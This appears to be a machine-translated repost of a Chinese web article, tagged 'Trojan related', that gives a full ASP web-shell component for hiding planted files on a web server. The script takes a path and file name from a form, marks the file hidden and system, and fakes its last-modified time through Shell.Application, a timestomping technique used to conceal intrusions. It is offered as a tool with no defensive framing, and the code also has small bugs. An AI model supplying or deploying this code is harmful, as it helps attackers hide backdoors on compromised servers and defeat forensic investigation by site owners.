Hide modify file time and file properties of ASP script _ Trojan related

Source: Internet
Author: User
Copy Code code as follows:

<%
' Aspshell to hide and modify the last modification time of a file
' Principle: Through the FSO can modify the properties of the file, such as set to read-only, hidden, system and so on; Attributes properties in FSO Modify file properties, 1 read-only, 2 hidden, 4 system files
' You can reset a last modification time to a file via Shell.Application
' 2009/02/24 write by Skyfire
Response.Write "<form method=post>"
Response.Write "Path: <input name=path value= '" &server.mappath ("/") & "' size= ' > (be sure to end) <br/>"
Response.Write "File name: <input name=filename value= ' test.txt ' size= ' ><br '"
Response.Write "Modified: <input name=time value= ' 12/30/2099 12:30:30 ' size= ' ><br '"
Response.Write "<input type=submit value= Modify and Hide Files >"
Response.Write "</form>"

' Get the submitted parameters
Set Path=request. Form ("path")
Set Filename=request. Form ("filename")
Set Newtime=request. Form ("Time")

if ((Len (path) >0) and (Len () >0) and (Len (newtime) >0)) Then

' Setting file properties through the FSO
Set fso=server.createobject ("Scripting.FileSystemObject")
Set File=fso.getfile (Path&filename)
File.attributes=2+4 ' Set file property to Hidden + system

' Through the shell. Application modify the file's last modified time
Set shell=server.createobject ("Shell.Application")
Set App_path=shell. NameSpace (Server.MapPath ("."))
Set App_file=app_path. ParseName (FileName)
App_file. Modifydate=newtime

End If
%>
Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.